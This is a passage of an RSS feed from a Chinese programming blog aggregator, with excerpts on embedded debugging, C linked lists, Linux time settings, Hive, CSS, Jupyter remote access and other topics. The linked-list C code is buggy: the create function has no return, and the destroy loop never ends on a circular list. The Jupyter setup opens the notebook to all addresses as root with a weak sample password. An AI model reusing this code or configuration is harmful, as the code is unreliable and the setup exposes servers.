      <pubDate>Wed, 27 Dec 2023 18:29:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/40aa210fdc6752568d91cc935856f476/</guid>
      <description>Keil使用ST-Link 报错 Internal command error&#xA;描述: 在某一次使用过程中，前面都是正常使用, Keil在烧录时报错Internal command error, 试了网上的诸多方式, 例如 升级固件;ST-Link Utility 清除;Keil升级到最新版本;甚至笔者板子的Micro头也换了，因为坏之前是可以正常烧录的之类的, 怀疑现在供电不足low power有影响;&#xA;… 诸多方式都无法解决, 最终抱着试一试的心态&#xA;解决方式如下，设置Serial Wire的调试方式，重新生成代码, 就可以了, 经验积累吧， 之前用的板子并没有设置也并不会出现这种情况…</description>
    </item>
    <item>
      <title>双向链表的实现及头尾插入删除</title>
      <link>https://bchobby.github.io/posts/2208a8b2299feab025fe8251d9d64897/</link>
      <pubDate>Wed, 27 Dec 2023 18:22:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2208a8b2299feab025fe8251d9d64897/</guid>
      <description>双链表的增删查改 一.双向链表的初始化二.创建返回链表的头结点三.双向链表销毁四. 双向链表打印五.双向链表尾插六. 双向链表尾删七. 双向链表头插八.双向链表头删九.双向链表的查找十.双向链表在pos的前面进行插入十一. 双向链表删除pos位置的节点 一.双向链表的初始化 ListNode* LTInit() { ListNode* Phead = ListCreate(-1); Phead-&amp;gt;next = Phead; Phead-&amp;gt;prev = Phead; return Phead; } 二.创建返回链表的头结点 ListNode* ListCreate(LTDataType x) { ListNode* newnode = (ListNode*)malloc(sizeof(ListNode)); if (newnode == NULL) { perror(&#34;malloc fial&#34;); exit(-1); } newnode-&amp;gt;data = x; newnode-&amp;gt;next = NULL; newnode-&amp;gt;prev = NULL; } 三.双向链表销毁 void ListDestory(ListNode* pHead) { assert(pHead); ListNode* cur = pHead-&amp;gt;next; while (cur != NULL) { ListNode* next = cur-&amp;gt;next; free(cur); cur = next; } free(pHead); //pHead = NULL; } 四.</description>
    </item>
    <item>
      <title>ubuntu设置服务器时区为东八区</title>
      <link>https://bchobby.github.io/posts/39200a39e5e95fb44ba64286813f6693/</link>
      <pubDate>Wed, 27 Dec 2023 18:21:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39200a39e5e95fb44ba64286813f6693/</guid>
      <description>目录&#xA;1.运行tzselect&#xA;2.复制文件到/etc目录下&#xA;3.再次查看时间date -R，已经修改为北京时间&#xA;今天测试时，发现时间不对，查了一下时区：&#xA;date -R&#xA;结果时区是：+0000&#xA;我需要的是东八区，这儿显示不是，所以需要设置一个时区&#xA;1.运行tzselect root@ubuntu:/# tzselect&#xA;在这里我们选择亚洲 Asia，确认之后选择中国（China)，最后选择北京(Beijing)&#xA;2.复制文件到/etc目录下 cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime&#xA;3.再次查看时间date -R，已经修改为北京时间 timedatectl set-timezone Asia/Shanghai&#xA;ntpdate time.windows.com&#xA;date&#xA;改时间&#xA;修改时间&#xA;sudo date -s MM/DD/YY //修改日期&#xA;sudo date -s hh:mm:ss //修改时间&#xA;在修改时间以后，修改硬件CMOS的时间&#xA;sudo hwclock --systohc //非常重要，如果没有这一步的话，后面时间还是不准&#xA;date系统时间和hwclock硬件时间不一致&#xA;这时硬件时钟应该存储 UTC 时间，然后使用hwclock命令来使系统时间和硬件时间同步&#xA;hwclock -ru&#xA;hwclock -su</description>
    </item>
    <item>
      <title>Hive详解、配置、数据结构、Hive CLI</title>
      <link>https://bchobby.github.io/posts/12d704da8b7c7ab11e98653347697356/</link>
      <pubDate>Wed, 27 Dec 2023 18:21:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/12d704da8b7c7ab11e98653347697356/</guid>
      <description>一、Hive 认识 1. Hive 应用 问题：公司的经营状况？ 主题一：财务 现金流 指标1.1：净现金流入/流出量 指标1.2：现金转换周期 预算执行状况 指标2.1：预算内成本控制 指标2.2：预算与实际支出的差异 主题二：产品 指标1：产品销售量 指标2：产品利润率 指标3：新产品开发周期 主题三：客户 老客户的流失率 指标1.1：重复购买率 指标1.2：客户满意度调查结果 新客户的留存率、转化率 指标2.1：新客户留存率 指标2.2：潜在客户到实际客户的转化率 主题四：员工 指标1：员工满意度 指标2：员工流失率 指标3：员工绩效评估 主题五：资产 指标1：资产负债率 指标2：固定资产周转率 指标3：存货周转率 问题 =&amp;gt; 主题(拆分) =&amp;gt; 指标 =&amp;gt; HQL&#xA;2. Hive 定义 基于元数据和表数据对数据进行结构化治理的机制(数仓)&#xA;&#34;基于元数据&#34;的核心：获取Hive MetaStore指定Mysql存储的元数据并根据其解析HQL生成执行计划&#xA;&#34;基于表数据&#34;的核心：获取表数据并通过执行计划进行数据处理和结果存储和加载。&#xA;3. Hive 具体设计 关键组件 UI：客户端提交查询。&#xA;Compiler：借助MetaStore获取存储在Mysql中的元数据信息解析查询块或表达式，生成执行计划。&#xA;Execution engine：管理计划的不同阶段之间的依赖关系(协调各操作的执行顺序)，并在适当的大数据组件上执行这些阶段。&#xA;关键步骤详解 6.1步：&#xA;1.将执行计划提交到Hadoop作为一个MapReduce作业.&#xA;2.RM将作业分解为多个任务，并且分配给不同的集群节点去执行。&#xA;3.启动Map任务(读取输入数据，处理，输出结果)&#xA;4.启动Reduce任务(可选)(读取Map|Shffle端输出，处理，输出结果) =&amp;gt; 决定了是MapOnly引擎还是MapReduce引擎&#xA;6.2步：&#xA;完成了一个Job，将数据加载到Hive表上。&#xA;6.3步：&#xA;Hive与HDFS进行交互，包括读取数据文件以进行查询，或将查询结果写入到HDFS。&#xA;7,8,9步：&#xA;一旦执行引擎完成了查询任务，结果需要被传回UI&#xA;体现了将查询结果有执行引擎处理并通过Hive驱动程序返回给用户界面的过程。</description>
    </item>
    <item>
      <title>『精』CSS 小技巧之BEM规范</title>
      <link>https://bchobby.github.io/posts/9d665b281243f6e018e07137b6922bd4/</link>
      <pubDate>Wed, 27 Dec 2023 18:16:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d665b281243f6e018e07137b6922bd4/</guid>
      <description>『精』CSS 小技巧之BEM规范 文章目录 『精』CSS 小技巧之BEM规范一、什么是BEM？二、BEM要怎么用？三、不用BEM会少个胳膊吗？💊四、Sass与BEM的结合🎈五、块与修饰符应放在一块👿参考资料💘推荐博文🍗 一、什么是BEM？ BEM风格规范指的是 Block、Element、Modifier 这三者的简称，这个规范将 CSS 拆分成块、元素、修饰符，根本作用是帮助开发者快速理解HTML与 CSS 之间的关系。那么通过使用 BEM 能获得到什么好处呢？我罗列了下面几点：&#xA;如果我们想制作一个组件的新样式，比如改个字体/背景色，可以很容易地看到有哪些样式项已经存在，只需要新增一个修饰符即可，甚至可能意识到一开始就不需要编写任何样式，有一个预先存在的修饰符可以满足我们的需求。得益于 CSS 命名语义化的好处，我们能够快速了解其 HTML 结构分布，一个元素依赖哪一个元素，在产品变更时快速更改其样式，并完全确信您的更改不会产生副作用。模块化的样式命名规则，能够最有效解决样式之间同名、继承、优先级等所带来的污染性问题，避免最后因为充斥着各种臃肿，而不敢触及修改遗留的各种未知样式，这其实给了开发人员一定的信心。团队配合成本的降低，样式可读性的提高能够让成员之间能够快速复用已有的样式规则，而不需要再去编写一套样式。 在没有接触 BEM 之前，也许你会对我这罗列的这一堆优点一头雾水，这很正常让我们接着往下看，在看完本文的剩余内容时也许回过头你就能恍然大悟。&#xA;需要注意的是 BEM 并非是官方的风格规范，它是由Yandex团队开发，程序员之间约定俗成的一种契约规范，受众范围十分广泛，许多知名开源 UI 框架将其使用，如 Elementui、vant、uView-ui。但随着 tailwind 这类 CSS 框架的强势入局，BEM使用也有减少的趋势，毕竟只有在手动编写CSS代码的时候才用的上，如新起之秀，号称最完整Vue UI套件的 primevue。&#xA;二、BEM要怎么用？ 要探究BEM怎么用，最简单的方法就是直接上手，让我们从编写一套有着丰富样式按钮组件开始，该组件包含最常见的颜色类型/大小切换功能。&#xA;可以看到属于 .btn 元素下的子项目，在命名时带上以父元素为头，__ 分割的命名，而按钮的不同状态颜色则通过基本样式名为头， -- 分割进行命名。以这样的命名方式，翻译过来就是基本样式名被称为块，__分割被称为元素，--分割则被称为修饰符。&#xA;&amp;lt;article class=&#34;btn-demo&#34;&amp;gt; &amp;lt;div class=&#34;btn btn--primary btn--large&#34;&amp;gt; &amp;lt;span class=&#34;btn__icon&#34;&amp;gt;$&amp;lt;/span&amp;gt; &amp;lt;span class=&#34;btn__text&#34;&amp;gt;按钮&amp;lt;/span&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;btn btn--info&#34;&amp;gt; &amp;lt;span class=&#34;btn__icon&#34;&amp;gt;$&amp;lt;/span&amp;gt; &amp;lt;span class=&#34;btn__text&#34;&amp;gt;按钮&amp;lt;/span&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;btn btn--mini&#34;&amp;gt; &amp;lt;span class=&#34;btn__icon&#34;&amp;gt;$&amp;lt;/span&amp;gt; &amp;lt;span class=&#34;btn__text&#34;&amp;gt;按钮&amp;lt;/span&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;</description>
    </item>
    <item>
      <title>.NET 使用Camunda快速入门</title>
      <link>https://bchobby.github.io/posts/0e7aca9003a4fd56e7c4f397eb0f7773/</link>
      <pubDate>Wed, 27 Dec 2023 18:07:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e7aca9003a4fd56e7c4f397eb0f7773/</guid>
      <description>一.工作流介绍 1. 什么是工作流 工作流（Workflow），是对工作流程及其各操作步骤之间业务规则的抽象、概括描述。&#xA;工作流将一套大的业务逻辑分解成业务逻辑段， 并统一控制这些业务逻辑段的执行条件，执行顺序以及相互通信，实现业务逻辑的分解和解耦。&#xA;做饭：&#xA;贷款审批：&#xA;2. 为什么要使用工作流 在企业日常的管理中，经常会有出差申请、加班申请、请假申请等流程。&#xA;如果用人工的方式管理这些流程，效率低，管理成本高。&#xA;因此为了提高效率，我们需要使用到工作流开发。&#xA;3. 使用工作流有什么好处 在工作流开发中，我们可以通过每一个流程定义清楚的看到业务的所有步骤，以及每一个流程实例运行到什么位置，参与者是谁；&#xA;能够节省更多的时间成本，提升企业信息化水平。&#xA;二. 工作流引擎 1. Camunda介绍 Camunda是一种工作流引擎，是由Java开发的一个纯Java库。&#xA;工作流引擎是用来开发工作流的框架。&#xA;市面上主流的工作流引擎有Activiti、Flowable、Camunda等。&#xA;ActivitiActiviti 由 Alfresco 公司开发，目前最高版本为 Activiti cloud 7.1.0。由于团队分歧 ，在Activiti6版本衍生出了Flowable。 FlowableFlowable是基于Activiti6衍生出来的版本，开发团队也是Activiti中分裂出来的，修复了Activiti6中的bug，并再此基础上实现的DMN、BPEL支持。 CamundaCamunda是基于Activiti5的，最新版本是Camunda7.17，开发团队也是从Activiti中分裂出来的，发展轨迹和Flowable相似。通过压力测试验证Camunda BPMN引擎性能和稳定性更好，功能完善；除了BPMN，Camunda还支持CMMN(案例管理)和DMN(决策自动化)。Camunda不仅带有引擎，还有很多强大的工具，用于建模、任务管理、监控和用户管理等。 Camunda BPM（业务流程管理）平台，用来管理，部署的流程定义、执行任务、策略等等。&#xA;下载安装一个Camunda平台，成功解压 Camunda 平台的发行版后，执行名为start.bat（对于 Windows 用户）或start.sh（对于 Unix 用户）的脚本。此脚本将启动应用程序服务器。&#xA;打开您的 Web 浏览器并导航到http://localhost:8080/以访问欢迎页面，Camunda的管理平台。&#xA;Camunda Modeler（用于编辑流程图及其他模型）平台，用来定义流程图，简单说就是一个画图工具。&#xA;下载 Modeler 后，只需将下载文件解压缩到您选择的文件夹中。&#xA;成功解压缩 zip 后，运行camunda-modeler.exe（对于 Windows 用户）、camunda-modeler.app（对于 Mac 用户）或camunda-modeler.sh（对于 Linux 用户）。 2. Camunda常用Api RepositoryService&#xA;该服务提供了管理和操控流程部署和流程定义的操作方法。&#xA;（1）查询流程引擎所知道的部署和流程定义。&#xA;（2）挂起、激活流程定义。挂起意味着不能进行下一步的操作，而激活则是反操作。&#xA;（3）获取各种资源，比如部署种包含的文件，或者引擎自动生成的流程图等。&#xA;RuntimeService</description>
    </item>
    <item>
      <title>查看ios app运行日志</title>
      <link>https://bchobby.github.io/posts/0bead16d7db28c7cfce31e7fed4b62b7/</link>
      <pubDate>Wed, 27 Dec 2023 18:07:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0bead16d7db28c7cfce31e7fed4b62b7/</guid>
      <description>摘要 本文介绍了一款名为克魔助手的iOS应用日志查看工具，该工具可以方便地查看iPhone设备上应用和系统运行时的实时日志和奔溃日志。同时还提供了奔溃日志分析查看模块，可以对苹果奔溃日志进行符号化、格式化和分析，极大地简化了开发者的调试工作。&#xA;引言 在iOS应用开发过程中，调试日志和奔溃日志是开发者必不可少的工具。然而，使用Xcode Console等工具查看日志可能不够方便，而且处理奔溃日志也相当繁琐。克魔助手的出现为开发者带来了极大的便利，本文将详细介绍其功能和使用方法。 克魔助手会提供两种日志，一种是实时的，一种的是崩溃的。（由于崩溃日志的环境很麻烦，目前只展示实时日志操作步骤）&#xA;环境配置 电脑一台（台式和笔记本都OK）&#xA;iPhone 手机一台&#xA;下载克魔助手&#xA;下载爱思助手或者itunes驱动&#xA;实时日志 克魔助手提供了实时日志功能，能够在电脑上实时查看设备的日志信息。 下面是操作步骤：&#xA;1.先将 iPhone 通过数据线连接上电脑，iOS 手机上一定要信任这次连接&#xA;2.在电脑上打开克魔助手-实时日志。&#xA;3.因为你已经通过数据线连接了电脑和手机，所以此时在控制台的左侧工具栏里会显示你的设备，如果此时直接点击 开始日志那将输出的是此设备的所有日志，那么如果想要查看某一App的日志查看起来是非常繁琐的，那我就需要对App继续筛选过滤再输出。&#xA;4.选择需要查看iPhone里面的App（可以通过 command+ 空格，搜索应用），然后点击 开始日志，将会输出关于此App的所有日志&#xA;5.如果需要对App里面的关键字继续过滤处理，可关键字那直接输入后点击清空日志，再点击空白处即可过滤成功&#xA;6.当你过滤出来了错误信息后，你可以将这些错误日志存储起来，形成一个 errorlog 提交给到开发，点击 导出日志即可生成一个文件夹。&#xA;奔溃日志分析 克魔助手还提供了奔溃日志分析查看模块，可以方便地导出和查看iOS设备上的奔溃日志，并对其进行符号化、格式化和分析。 操作如下：&#xA;1.选择需要查看的奔溃日志。&#xA;2.点击“导出日志”，即可生成一个包含奔溃日志的文件夹，便于提交给开发团队进行分析。&#xA;PS：数据连接时，先将 iPhone 通过数据线连接上电脑，iOS 手机上一定要信任这次连接，（开启WiFi调试时，无需数据线）</description>
    </item>
    <item>
      <title>Arcgis根据经纬度匹配地级市，并将数据导出至excel(arcgis定义投影报错的解决办法)</title>
      <link>https://bchobby.github.io/posts/c585659c9453d6f45b2cbf99736acfa0/</link>
      <pubDate>Wed, 27 Dec 2023 18:00:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c585659c9453d6f45b2cbf99736acfa0/</guid>
      <description> 1. 先导入数据，依据X,Y导入（推荐为.csv格式的数据） 2. 在弹出的窗口添加文件，并标注经纬度数据，X字段为经度，Y字段为维度） 3. 右击此生成的事件，将事件数据导出（右击——数据——导出数据），并将导出的数据添加到图层中 4. 打开一个地级市的图层（可网上下载之后本地导入数据） 5. 进行定义投影。一般用China….2000 （工具箱\系统工具箱\Data Management Tools.tbx）&#xA;6. 点击地级市图层进行“点到面”的连接，并输出 在点击地级市图层，右击——连接和关联——连接&#xA;选择基于空间位置的另一图层数据，文件选择上面输出并添加的图层文件，进行“点到面”的连接，可依据新需求选择平均值，总和等属性，并将改图层输出shp文件&#xA;7. 将arcgis属性数据导出到excel： 1） 工具箱\系统工具箱\Conversion Tools.tbx\Excel\Excel 转表 2）用excel打开导出的图层文件中后缀为.dbf的数据（方便快捷，但是中文易乱码） </description>
    </item>
    <item>
      <title>机器学习概述（一）</title>
      <link>https://bchobby.github.io/posts/43160ef0d2d93a2bc0042147b327bf6b/</link>
      <pubDate>Wed, 27 Dec 2023 17:55:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43160ef0d2d93a2bc0042147b327bf6b/</guid>
      <description>机器学习概述 sklearn.datasets特征工程特征提取特征预处理特征降维 sklearn.datasets sklearn.datasets 模块用于获取较为经典的数据集。&#xA;sklearn.datasets.load_*() # 获取小规模数据集，直接从本地获取sklearn.datasets.fetch_*(data_home=None, subset=“train”, shuffle=True, random_state=42) # 获取大规模数据集，需要从网络上下载；data_home 表示用于存储数据集的路径，默认存储在 ~/scikit_learn_data/ 目录下；subset 表示要下载的数据集，可选 “train”、“test”、“all”sklearn.datasets.load_iris() # 从本地获取鸢尾花数据集&#xA;sklearn.datasets.fetch_20newsgroups(data_home=None) # 从网络上下载 20newsgroups 数据集的训练集 load_*() 和 fetch_*() 返回的数据类型为 sklearn.utils.Bunch，是一种字典格式。其中几个主要的键值对如下：&#xA;data: array([···])，特征数据数组，形如 (n_samples, n_features)target: array([···])，标签数据数组，形如 (n_samples,)feature_names: array([···])，特征名称target_names: array([···])，标签名称DESCR: str()，数据集描述 Bunch 类型可以通过 iris[‘data’] 或 iris.data 获取对应的值。&#xA;from sklearn.datasets import load_iris iris = load_iris() print(iris[&#39;data&#39;]) print(iris.data) 一个数据集通常会被划分为训练集和测试集，划分比例通常为 8:2 或 7:3，可以通过 sklearn.model_selection.train_test_split(arrays, *options) 进行划分。&#xA;x：数据集的特征值，可以以 ndarray、list 等类型结构传入y：数据集的标签值，可以以 ndarray、list 等类型结构传入test_size：测试集的大小，float，默认为 0.25train_size：训练集的大小，floatrandom_state：随机数种子，不同的种子会产生不同的随机采样结果，默认为 None返回训练集的特征数据、测试集的特征数据、训练集的标签数据、测试集的标签数据；传入的是 ndarray，返回的也是 ndarray；传入的是 list，返回的也是 list from sklearn.</description>
    </item>
    <item>
      <title>Jupyter Notebook 开启远程登录</title>
      <link>https://bchobby.github.io/posts/fde557a9c54770388cb1fbee0ae8d564/</link>
      <pubDate>Wed, 27 Dec 2023 17:51:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fde557a9c54770388cb1fbee0ae8d564/</guid>
      <description>Jupyter Notebook可以说是非常好用的小工具，但是不经过配置只能够在本机访问&#xA;安装jupyter notebook conda install jupyter notebook&#xA;生成默认配置文件 jupyter notebook --generate-config&#xA;将会在用户主目录下生成.jupyter文件夹，其中jupyter_notebook_config.py就是刚刚生成的配置文件&#xA;配置访问密码 jupyter notebook password #设置 jupyter 的密码,并生成自己配置文件，目录在 ~/.jupyter/jupyter_notebook_config.py test123456 修改配置文件 修改用户主目录下~/.jupyter/jupyter_notebook_config.py文件&#xA;c.NotebookApp.ip=&#39;*&#39; c.NotebookApp.open_browser = False c.NotebookApp.port=8888 测试 在服务器开启jupyter notebook&#xA;浏览器不会自动开启其他电脑在浏览器输入服务器ip：8888，能够访问jupyter notebook jupyter notebook&#xA;有如下提示&#xA;在笔记本浏览器输入外网ip:8888&#xA;成功远程访问服务器的jupyter notebook 输入设置的密码即可进入&#xA;后台启动 nohup jupyter notebook --allow-root &amp;gt; /root/nohup.log &amp;amp;</description>
    </item>
    <item>
      <title>【头歌实训】PySpark Streaming 入门</title>
      <link>https://bchobby.github.io/posts/3973e11dd8b08d27b33ce0d122a744db/</link>
      <pubDate>Wed, 27 Dec 2023 17:48:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3973e11dd8b08d27b33ce0d122a744db/</guid>
      <description>文章目录 第1关：SparkStreaming 基础 与 套接字流任务描述相关知识Spark Streaming 简介Python 与 Spark StreamingPython Spark Streaming APISpark Streaming 初体验（套接字流） 编程要求测试说明答案代码 第2关：文件流任务描述相关知识文件流概述Python 与 Spark Streaming 文件流Spark Streaming 文件流初体验 编程要求测试说明答案代码 第3关：RDD 队列流任务描述相关知识队列流概述Python 与 Spark Streaming 队列流Spark Streaming 队列流初体验 编程要求测试说明答案代码 第1关：SparkStreaming 基础 与 套接字流 任务描述 本关任务：使用 Spark Streaming 实现词频统计。&#xA;相关知识 为了完成本关任务，你需要掌握：&#xA;Spark Streaming 简介；Python 与 Spark Streaming；Python Spark Streaming API；Spark Streaming 初体验（套接字流）。 Spark Streaming 简介 Spark Streaming 是 Spark 的核心组件之一，为 Spark 提供了可拓展、高吞吐、容错的流计算能力。如下图所示，Spark Streaming 可整合多种输入数据源，如 Kafka、Flume、HDFS，甚至是普通的 TCP 套接字。经处理后的数据可存储至文件系统、数据库，或显示在仪表盘里。</description>
    </item>
    <item>
      <title>Android 配置不同应用ID</title>
      <link>https://bchobby.github.io/posts/303414ebf854be7456c989c7119f8e6c/</link>
      <pubDate>Wed, 27 Dec 2023 17:46:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/303414ebf854be7456c989c7119f8e6c/</guid>
      <description>在Android中，每个应用都有一个独特的应用ID，用于唯一标识该应用。如果您想配置不同ID的应用，请按照以下步骤操作：&#xA;在Android Studio中创建一个新的项目。&#xA;在创建项目时，使用不同的应用ID。您可以在app/build.gradle文件中的defaultConfig部分设置应用ID，例如：&#xA;defaultConfig { applicationId &#34;com.example.myapp1&#34; ... } 在创建项目时，您还可以选择自定义应用ID。在创建项目对话框中，选择&#34;Edit&#34;选项并输入自定义的应用ID。&#xA;如果您想在同一项目中创建多个变体，可以在build.gradle文件中的productFlavors部分配置不同的应用ID。例如：&#xA;productFlavors { flavor1 { applicationId &#34;com.example.myapp1&#34; ... } flavor2 { applicationId &#34;com.example.myapp2&#34; ... } } 在AndroidManifest.xml文件中，您还可以配置应用ID。在&amp;lt;manifest&amp;gt;标记内的package属性中指定应用ID，例如：&#xA;&amp;lt;manifest xmlns:android=&#34;http://schemas.android.com/apk/res/android&#34; package=&#34;com.example.myapp1&#34;&amp;gt; ... &amp;lt;/manifest&amp;gt; 通过这些步骤，您可以配置不同ID的应用，并在同一设备上安装和运行它们。请注意，应用ID是唯一的，不同的应用ID将被视为不同的应用。</description>
    </item>
    <item>
      <title>使用VS code将项目从coding的代码仓库中拉到本地并运行</title>
      <link>https://bchobby.github.io/posts/77e2ffa13283a6f59a81bd15153685d4/</link>
      <pubDate>Wed, 27 Dec 2023 17:45:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/77e2ffa13283a6f59a81bd15153685d4/</guid>
      <description>1.现在本地新建一个文件夹&#xA;2.在新建文件夹下右击后选择 Git Bash Here&#xA;3.打开coding的代码仓库，选择项目然后点击克隆/下载，点击复制&#xA;4.在git bash here中输入 git clone + 复制的项目地址&#xA;5.在vs code中选择打开这个文件夹，点击三个点，选择终端后新建终端&#xA;6.在终端中安装依赖&#xA;输入 npm i&#xA;黄色字体WARN是警告信息，但是没有报错，也不是什么很严重的警告，所以可以不用管&#xA;7.运行项目&#xA;输入npm run dev&#xA;运行完成</description>
    </item>
    <item>
      <title>0044__CAN与CAN FD的区别是什么</title>
      <link>https://bchobby.github.io/posts/46ecef26589b672e4b18ed24e5448c36/</link>
      <pubDate>Wed, 27 Dec 2023 17:43:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46ecef26589b672e4b18ed24e5448c36/</guid>
      <description>CAN与CAN FD的区别是什么？ - 知乎</description>
    </item>
    <item>
      <title>安防视频监控系统EasyCVR实现H.265视频在3秒内起播的注意事项</title>
      <link>https://bchobby.github.io/posts/6eb5c32a3d25e0f097590951bd95527c/</link>
      <pubDate>Wed, 27 Dec 2023 17:37:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6eb5c32a3d25e0f097590951bd95527c/</guid>
      <description>可视化云监控平台/安防视频监控系统EasyCVR视频综合管理平台，采用了开放式的网络结构，可以提供实时远程视频监控、视频录像、录像回放与存储、告警、语音对讲、云台控制、平台级联、磁盘阵列存储、视频集中存储、云存储等丰富的视频能力，同时还具备权限管理、设备管理、鉴权管理、流媒体接入与转发等管理能力。&#xA;安防监控视频汇聚平台EasyCVR早已实现H.265自动转码H.264的功能，用户可以通过该功能配合EasyPlayer.js流媒体播放器，实现H.265的视频流在web端3秒内起播。那么实现该效果应该注意哪些事项呢？&#xA;1）服务器的硬件配置要高&#xA;如果存在较多的H.265视频流同时播放，服务器要选择高配置。因为EasyCVR安防视频管理平台是软转码，并没有使用硬解的方式，所以需要消耗服务器的cpu资源和内存资源。根据测试的情况，一台16核32进程的服务器可以同时转码30路左右的H.265的视频流（cpu消耗80%，内存消耗60%），极限情况下可以转码41路。&#xA;2）接口调用&#xA;用户可以通过http://127.0.0.1:18000/api/v1/state/codec这个接口来获取正在转码的路数，结合目前全部播放（H.265+H.264）的路数，以及服务器的消耗情况来调配。&#xA;视频云存储平台EasyCVR可拓展性强、部署轻快，能实现多现场的前端摄像头等设备统一集中接入与视频汇聚管理，并能进行视频高清监控、录像、云存储与磁盘阵列存储、检索与回放、级联共享等视频功能，可应用在工厂、工地、仓储、物流、社区、校园、水利、能源矿山等场景中。感兴趣的用户可以前往演示平台进行体验或部署测试。</description>
    </item>
    <item>
      <title>Linux date命令显示日期和时间</title>
      <link>https://bchobby.github.io/posts/5a2ef1a58bc530aefa58cb4e6b2f783b/</link>
      <pubDate>Wed, 27 Dec 2023 17:29:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a2ef1a58bc530aefa58cb4e6b2f783b/</guid>
      <description> 在Linux中，可以使用date命令来显示日期和时间，同时也可以通过指定格式来定制日期的显示方式。下面是一些常用的日期格式选项：&#xA;%Y：四位数的年份，例如“2023”。 %m：两位数的月份，例如“06”。 %d：两位数的日期，例如“15”。 %H：24小时制的小时数，两位数表示，例如“15”代表下午3点。 %M：两位数的分钟数，例如“30”。 %S：两位数的秒数，例如“10”。 %A：星期几，英文全名表示，例如“Tuesday”。 %a：星期几，英文缩写表示，例如“Tue”。 %B：月份，英文全名表示，例如“June”。 %b：月份，英文缩写表示，例如“Jun”。 你可以使用这些格式选项组合起来形成所需的日期格式。例如，要显示形如“2023-06-15 15:30:10”的日期和时间，可以运行以下命令：&#xA;date &#34;+%Y-%m-%d %H:%M:%S&#34; 这将输出当前日期和时间，格式为你指定的格式。如果你需要显示其他日期时间值，可以使用-d选项指定日期时间字符串。例如，要显示3天前的日期和时间，可以运行以下命令：&#xA;date -d &#34;3 days ago&#34; &#34;+%Y-%m-%d %H:%M:%S&#34; 这将输出3天前的日期和时间。你可以根据需要调整日期时间字符串和格式选项来满足你的需求。 </description>
    </item>
    <item>
      <title>vue中异步移入组件</title>
      <link>https://bchobby.github.io/posts/deed5e3d66c16d64b86c0166d6b53b9d/</link>
      <pubDate>Wed, 27 Dec 2023 17:19:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/deed5e3d66c16d64b86c0166d6b53b9d/</guid>
      <description> 问题描述：如果使用import CustomerSearch from &#39;@/components/public/CustomerSearch&#39;引入组件的话，有时候组件引入不成功，导致直接显示标签；&#xA;解决：使用异步引入即可解决这个问题&#xA;const CustomerSearch = () =&amp;gt; import(&#39;@/components/public/CustomerSearch&#39;) </description>
    </item>
    <item>
      <title>基于C#语言的GUI开发,主要介绍WPF框架</title>
      <link>https://bchobby.github.io/posts/1411d5b355e6affe5156025fcf5dbdff/</link>
      <pubDate>Wed, 27 Dec 2023 17:16:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1411d5b355e6affe5156025fcf5dbdff/</guid>
      <description>框架 简介 下面是几种常见基于.Net的界面开发框架,都是Microsoft提供,下面简介由GPT生成&#xA;WinForms (Windows Forms&#xA;WPF (Windows Presentation Foundation)&#xA;UWP (Universal Windows Platform)&#xA;MAUI (Multi-platform App UI)&#xA;WinForms（Windows Forms）： 介绍： WinForms是由Microsoft提供的用于开发Windows桌面应用程序的UI框架。它使用简单的拖放界面进行用户界面的构建，并基于.NET框架。主要特点： 使用可视化设计器进行快速应用程序开发（RAD）。事件驱动的编程模型。与Windows API直接集成。 WPF（Windows Presentation Foundation）： 介绍： WPF是用于构建具有丰富用户界面的Windows桌面应用程序的框架。与WinForms相比，它提供了更现代和灵活的UI开发方法。主要特点： 强大的数据绑定和模板系统。分辨率独立的矢量图形。可扩展和可定制的控件。UI和业务逻辑的分离。 UWP（Universal Windows Platform）： 介绍： UWP是由Microsoft引入的平台，用于创建可以在各种Windows设备上运行的通用应用程序，包括PC、平板、手机、Xbox、HoloLens等。它是Windows 10生态系统的一部分。主要特点： 自适应用户界面，适应不同设备形状。安全性和性能改进。与Windows 10功能的集成，如Cortana和Live Tiles。 MAUI（Multi-platform App UI）： 介绍： MAUI是由Microsoft推出的现代跨平台框架，用于从单一代码库构建适用于iOS、Android、Windows和macOS的本机应用程序。它是Xamarin.Forms的演进，是.NET MAUI堆栈的一部分。主要特点： 单一代码库适用于多个平台。支持每个平台的本机UI控件。与.NET 6及更高版本集成。面向各种设备，包括桌面和移动设备。 选择 winform过于古早&#xA;uwp的话,我们就用windows电脑,没必要&#xA;maui因为跨平台,导致了其臃肿&#xA;所以我们选择WPF,下面文章也是主要讲WPF的&#xA;UI 设计思路 先根据功能,设计布局&#xA;然后就是如果项目比较大,要考虑设计模式的选取,让前后端分离&#xA;控件 因为UI的开发都是基于界面和控件的,而我们常用的控件都大同小异,需要的时候自行查阅文档就好了&#xA;常用 信息类 label&#xA;编辑类 文本编辑 textbox 状态编辑 checkbox&#xA;按钮 button&#xA;添加方式 拖拽添加</description>
    </item>
    <item>
      <title>鸿蒙开发中的一些小问题</title>
      <link>https://bchobby.github.io/posts/36efad5bb4a804e755e4f1275f9a3155/</link>
      <pubDate>Wed, 27 Dec 2023 17:07:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/36efad5bb4a804e755e4f1275f9a3155/</guid>
